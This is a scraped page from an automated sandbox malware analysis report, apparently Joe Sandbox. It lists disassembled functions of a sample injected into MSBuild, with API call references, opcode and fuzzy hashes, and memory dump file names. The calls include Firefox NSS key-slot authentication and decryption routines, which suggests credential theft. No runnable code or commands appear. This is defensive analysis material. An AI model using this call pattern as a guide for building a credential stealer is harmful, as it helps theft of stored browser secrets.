API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: f9200b95373ff1b7789a744542eff742420212f49676e2a89c92c5c195539ba2
Instruction ID: c965e71d2e97414644382344fe4b35b0bcccdd97024118387abac70bfbe530a4
Opcode Fuzzy Hash: f9200b95373ff1b7789a744542eff742420212f49676e2a89c92c5c195539ba2
Instruction Fuzzy Hash: 71F0F0362412215BC7206BAAFC80A8BBF94EB847A0F15013BED089B341DA34CC4083E8

Function 0041863A Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb4e46ecdc6af7a7d879d51c0e4f3366769e87bd045afa1f794dcb15901cb75
Instruction ID: 11a7e7eb0bc33325116b84792d9ccbf3134a4ee29e7b429e6daf7afeb5da7636
Opcode Fuzzy Hash: ffb4e46ecdc6af7a7d879d51c0e4f3366769e87bd045afa1f794dcb15901cb75
Instruction Fuzzy Hash: D9516071802600ABCA617BEE854DAF6B2D59FB1318F14049FF424AA372CF6D8DD05E5D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c96dba7d2176548813934cd4752c0dec6ffeda168b931416bfbb007fd47364fb
Instruction ID: 6388f4461eef54f9e8a11e2a77b8a0ea95f6d38d64ecf6345b785b7c3698f7fe
Opcode Fuzzy Hash: c96dba7d2176548813934cd4752c0dec6ffeda168b931416bfbb007fd47364fb
Instruction Fuzzy Hash: 9A318F71D0C2149FDF16DF55D9408AEBBB1EF84354B20816BE410B7391D738AE81DB9A

Function 00411D91 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DD2

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: f251ba91b184b9827cfca62372c4852bcaebef6b61757427f57cd5b7b8179dd8
Instruction ID: e117c88700240214466cc1b6d60fdd9482b3e7f1e292b6b988d501d706d71d9b
Opcode Fuzzy Hash: f251ba91b184b9827cfca62372c4852bcaebef6b61757427f57cd5b7b8179dd8
Instruction Fuzzy Hash: 0AF03071E0015DABDB15DF78DC909EEB7FCEB44204F0005BAB909D3241DA349F458B94

Function 00411D67 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA54,?,?,?), ref: 00411D6E

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5bd9dccb6b3b3ada47ed5805296656baf1afb4dfc64e1a8b5f95435fe6bc619a
Instruction ID: ddb6e52d0ff1f1191deb47ea6c0d9b73f3e49b1a14ce765bc69ad84851da93f8
Opcode Fuzzy Hash: 5bd9dccb6b3b3ada47ed5805296656baf1afb4dfc64e1a8b5f95435fe6bc619a
Instruction Fuzzy Hash: 4AD05E31240138578B1457A9EC055DABB08DB017B5F001222FA69921B0C365AE9282C4

Function 00412516 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 0041254C

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 4db8ebf57bc6107b71b5ba4193d59d5f03bca1d24e9a0919771ad3cddd4420d4
Instruction ID: eaea2de8574f2c4140e53920b4a13b58a368e230bb1e65c66a238f6e4d3fc1a7
Opcode Fuzzy Hash: 4db8ebf57bc6107b71b5ba4193d59d5f03bca1d24e9a0919771ad3cddd4420d4
Instruction Fuzzy Hash: ABE075B0D0420E9FCF44EFA596152DDBAF4AB48308F00916AC115F2240E3B482058BA9

Function 0041C4BE Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C4CF

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 89171ac531111191199856e9ad24f0c21c4adc490551604bc99cdcc5c92fb716
Instruction ID: fcc83814f70704bd6d13a6bcc85abea1ca3ddb0e8ce88e5aad64fb42fa5d3e86
Opcode Fuzzy Hash: 89171ac531111191199856e9ad24f0c21c4adc490551604bc99cdcc5c92fb716
Instruction Fuzzy Hash: 7521F474200710CFC320DF6ED484996B7F5FF49324714486EEA8A9B722D776E880CB16

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6CCD4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CCB601B,?,00000000,?), ref: 6CCD486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CCD48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CCD48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CCD48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CCD48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CCD490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CCD4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CCD493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD4970
PORT_Alloc_Util.NSS3(00000001), ref: 6CCD49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CCD49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CCD49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CCD4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CCD4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CCD4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CCD4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CCD4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CCD4A81
free.MOZGLUE(00000000), ref: 6CCD4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CCD4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CCD4ADC
free.MOZGLUE(00000000), ref: 6CCD4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CCD4B33

Part of subcall function 6CCD4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD413D
Part of subcall function 6CCD4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CCD4162
Part of subcall function 6CCD4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD416B
Part of subcall function 6CCD4120: PL_strncasecmp.NSS3(6CCD4232,?,00000001), ref: 6CCD4187
Part of subcall function 6CCD4120: NSSUTIL_ArgSkipParameter.NSS3(6CCD4232), ref: 6CCD41A0
Part of subcall function 6CCD4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD41B4
Part of subcall function 6CCD4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CCD41CC
Part of subcall function 6CCD4120: NSSUTIL_ArgFetchValue.NSS3(6CCD4232,?), ref: 6CCD4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CCD4B53
free.MOZGLUE(00000000), ref: 6CCD4B94
free.MOZGLUE(?), ref: 6CCD4BA7
free.MOZGLUE(00000000), ref: 6CCD4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD4BC8

Strings

hasRootCerts, xrefs: 6CCD4AD6
rootFlags, xrefs: 6CCD4AB9, 6CCD4B2E
askpw, xrefs: 6CCD4A4A
slotFlags, xrefs: 6CCD4A22
every, xrefs: 6CCD4A66
hasRootTrust, xrefs: 6CCD4B4D
timeout, xrefs: 6CCD4A38, 6CCD4A7B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 6bb57688cd23d94fe490a4d9e47c034231b5057964304cd59ad198472adeb76d
Instruction ID: 0116b91661ee760409deebb09d9cd8a5004056772a90d0a178701352e9f0cf08
Opcode Fuzzy Hash: 6bb57688cd23d94fe490a4d9e47c034231b5057964304cd59ad198472adeb76d
Instruction Fuzzy Hash: 45C11670E057569BEB00CF699C40BAE7BB8AF06248F1A0025EF95E7B01F721F915C7A0

Function 6CCEC8C0 Relevance: 25.9, APIs: 17, Instructions: 432COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCECA51
TlsGetValue.KERNEL32 ref: 6CCECAE8
EnterCriticalSection.KERNEL32(?), ref: 6CCECAFC
PK11_FreeSymKey.NSS3(00000000), ref: 6CCECB2E
PK11_KeyGen.NSS3(?,?,00000000,00000000,?), ref: 6CCECB87
memset.VCRUNTIME140(?,00000000,00000410), ref: 6CCECBA8
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CCECCCD
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCECCE1
PK11_PubDeriveWithKDF.NSS3 ref: 6CCECD3D
memcpy.VCRUNTIME140(?,?,?), ref: 6CCECD73
memcpy.VCRUNTIME140(?,?,?), ref: 6CCECD9D
PK11_WrapSymKey.NSS3(?,00000000,?,00000000,?), ref: 6CCECDDA
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CCECE04
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CCECE17
PK11_FreeSymKey.NSS3(00000000), ref: 6CCECE24
PR_Unlock.NSS3 ref: 6CCECE49
PK11_FreeSymKey.NSS3(00000000), ref: 6CCECE96

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_$ErrorFree$Destroymemcpy$CriticalDeriveEnterPrivatePublicSectionUnlockValueWithWrapmemset
String ID:
API String ID: 3685077037-0
Opcode ID: f820a22f07b6029e61ff6eae152f165ad847fe48fe6b704f762a09725d9cd0c4
Instruction ID: 9feead18a6f26db90b31f159f708a7d2ef26969b7b8030ffff3f0ff8188e55f5
Opcode Fuzzy Hash: f820a22f07b6029e61ff6eae152f165ad847fe48fe6b704f762a09725d9cd0c4
Instruction Fuzzy Hash: C1F1D4B1D002248BEB10EF59CC817AA7BB4FF4A348F1440A9D919A7B41F734DE95CB96

Function 6CCBA9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCBA9CA

Part of subcall function 6CCD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC787ED,00000800,6CC6EF74,00000000), ref: 6CCD1000
Part of subcall function 6CCD0FF0: PR_NewLock.NSS3(?,00000800,6CC6EF74,00000000), ref: 6CCD1016
Part of subcall function 6CCD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC787ED,00000008,?,00000800,6CC6EF74,00000000), ref: 6CCD102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CDD0B04,?), ref: 6CCBA9F7

Part of subcall function 6CCCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CDA18D0,?), ref: 6CCCB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CCBAA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCBAA33
PK11_GetInternalKeySlot.NSS3 ref: 6CCBAA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CCBAA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6CCBAAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6CCBAB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCBAB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6CCBAB85
PK11_FreeSymKey.NSS3(00000000), ref: 6CCBAB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CCBABDC
PK11_FreeSymKey.NSS3(?), ref: 6CCBABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCBABF7

Part of subcall function 6CCBAC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CCBAB3E,?,?,?), ref: 6CCBAC35
Part of subcall function 6CCBAC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CCBAB3E,?,?,?), ref: 6CCBAC55
Part of subcall function 6CCBAC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CCBAB3E,?,?), ref: 6CCBAC70
Part of subcall function 6CCBAC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CCBAC92
Part of subcall function 6CCBAC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCBAB3E), ref: 6CCBACD7

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 54e9f10336c544cf6e37347b162e264fc6fe1f26010f23ad4a3076a43e92de3b
Instruction ID: e24541b1c49e058a18b5d549c82ab014178252be0c042741f22fc2d5fc19f08c
Opcode Fuzzy Hash: 54e9f10336c544cf6e37347b162e264fc6fe1f26010f23ad4a3076a43e92de3b
Instruction Fuzzy Hash: CB710472A04301ABD701CFA9DC41B5BB3A9AFC4358F104A29FDA4A7750FB31D948CB92

Function 6CCA0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CCA0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CCA0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CCA1006
PK11_FreeSymKey.NSS3(?), ref: 6CCA101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCA1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCA103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CCA1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CCA108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CCA10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CCA10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CCA112E

Part of subcall function 6CCA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CCA08C4,?,?), ref: 6CCA15B8
Part of subcall function 6CCA1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CCA08C4,?,?), ref: 6CCA15C1
Part of subcall function 6CCA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCA162E
Part of subcall function 6CCA1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCA1637

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 0b02b075dd3cd9458843cdd2aa0ab52926027709f988f254c520257d78c49d8d
Instruction ID: b5efb7e9702ad5007bb95811f32ca1737944ec13883a2fd2c5d8111ef1b30849
Opcode Fuzzy Hash: 0b02b075dd3cd9458843cdd2aa0ab52926027709f988f254c520257d78c49d8d
Instruction Fuzzy Hash: 4171D2B5A00206DFDB00CFEACC88A6AB7B5BF48318F14862CE51997711F731D946CB91

Function 6CCC6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC71C6F,00000000,00000004,?,?), ref: 6CCC6C3F

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CC71C6F,00000000,00000004,?,?), ref: 6CCC6C60
PR_ExplodeTime.NSS3(00000000,6CC71C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CC71C6F,00000000,00000004,?,?), ref: 6CCC6C94

Strings

gfff, xrefs: 6CCC6CF5
gfff, xrefs: 6CCC6D30
gfff, xrefs: 6CCC6D66
gfff, xrefs: 6CCC6D9C
gfff, xrefs: 6CCC6CFD

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 1b560af460ce17db821c067c337dd3e963385696264c8b7d837234b4c0f6b660
Instruction ID: c765e2ad0b3f8377f9427d69b71103fa1154a9121a5e7fee9e02265eb5039ba7
